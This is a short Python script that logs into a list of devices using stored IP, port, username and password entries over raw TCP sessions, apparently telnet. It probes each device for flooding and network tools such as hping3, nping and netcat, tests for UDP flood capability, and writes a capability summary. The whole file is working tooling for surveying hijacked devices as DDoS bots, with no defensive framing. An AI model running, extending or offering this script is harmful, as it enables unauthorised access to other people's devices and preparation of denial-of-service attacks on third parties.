import socket, time

devices = open("/tmp/devices.txt").read().strip().split("\n")[:50]
results = {}

for line in devices:
    parts = line.split(":")
    if len(parts) < 4: continue
    ip, port, user, passwd = parts[0], int(parts[1]), parts[2], parts[3]
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(4)
        s.connect((ip, port))
        time.sleep(0.3)
        data = s.recv(4096).decode(errors="ignore")
        if "login" in data.lower():
            s.send((user+"\r\n").encode())
            time.sleep(0.3)
            data = s.recv(4096).decode(errors="ignore")
        if "password" in data.lower():
            s.send((passwd+"\r\n").encode())
            time.sleep(0.8)
            data = s.recv(4096).decode(errors="ignore")
        try: s.recv(65536)
        except: pass

        # Check available tools
        tools = []
        for cmd in ["which hping3", "which nping", "which nc", "which ncat", "which ping", "which python", "which python3", "cat /dev/urandom | head -c 1 > /dev/null"]:
            s.send((cmd + "\r\n").encode())
            time.sleep(0.3)
            r = s.recv(4096).decode(errors="ignore")
            if "not found" not in r and "No such" not in r:
                tools.append(cmd.split()[-1])

        # Test UDP flood capability
        s.send(b"echo test > /dev/udp/127.0.0.1/9999 2>&1\r\n")
        time.sleep(0.3)
        r = s.recv(4096).decode(errors="ignore")
        if "not found" not in r and "No such" not in r:
            tools.append("dev_udp")

        s.close()
        results[ip] = tools
    except:
        pass

with open("/tmp/_l4_tools.txt", "w") as f:
    for ip, tools in results.items():
        f.write(ip + ": " + ", ".join(tools) + "\n")
    f.write("\nSUMMARY:\n")
    all_tools = {}
    for tools in results.values():
        for t in tools:
            all_tools[t] = all_tools.get(t, 0) + 1
    for t, c in sorted(all_tools.items(), key=lambda x: -x[1]):
        f.write(f"  {t}: {c}/{len(results)}\n")
